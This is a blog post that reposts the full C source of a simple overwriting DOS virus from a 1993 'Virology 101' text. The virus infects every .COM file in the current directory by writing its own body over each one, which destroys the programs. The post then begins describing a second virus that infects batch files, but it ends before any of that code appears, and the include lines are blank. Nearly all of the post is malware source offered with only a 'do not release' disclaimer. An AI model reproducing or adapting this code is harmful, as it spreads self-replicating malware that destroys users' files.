7.29.2008

Some Virus in C

VIRUS CODING IN C LANGUAGE

1)FEATURES OF THIS VIRUS

/* This is a simple overwriting virus programmed in Turbo C */

/* It will infect all .COM files in the current directory */

/* Infections destroy the programs and cannot be cured */

/* It was presented in Virology 101 (c) 1993 Black Wolf */

/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */


#include

#include

#include

FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;

main()

{

done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */

while (!done) /* Loop for all COM's in DIR*/

{

printf("Infecting %s\n", ffblk.ff_name); /* Inform user */

Virus=fopen(_argv[0],"rb"); /* Open infected file */

Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must */

/* be correct for the */

/* compiler it is made */

/* on, otherwise the */

/* entire virus may not*/

/* be copied!! */

while (x>256) /* OVERWRITE new Host */

{ /* Read/Write 256 byte */

fread(buff,256,1,Virus); /* chunks until bytes */

fwrite(buff,256,1,Host); /* left < 256 */

x-=256;

}

fread(buff,x,1,Virus); /* Finish off copy */

fwrite(buff,x,1,Host);

fcloseall(); /* Close both files and*/

done = findnext(&ffblk); /* go for another one. */

}

/* Activation would go */

/* here */

return (0); /* Terminate */

}


The next virus to be presented is also in C, but is quite a

bit different in functioning than the last. Instead of infecting

executable files by overwriting them, it infects .BAT files by

the directory. When executed, BAT&COM will first search one

directory below the current for batch files. If none are found,

it will try the root directory, then finally the DOS directory.

If it finds any batch files, it will infect all of the batches

in the directory, then check to see if its file has already

been put there. If not, then it will create a file called

BAT&COM containing the virus. On my setup, after EXE2BIN-ing

the file, it came out around 10k. The virus code is as follows:

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home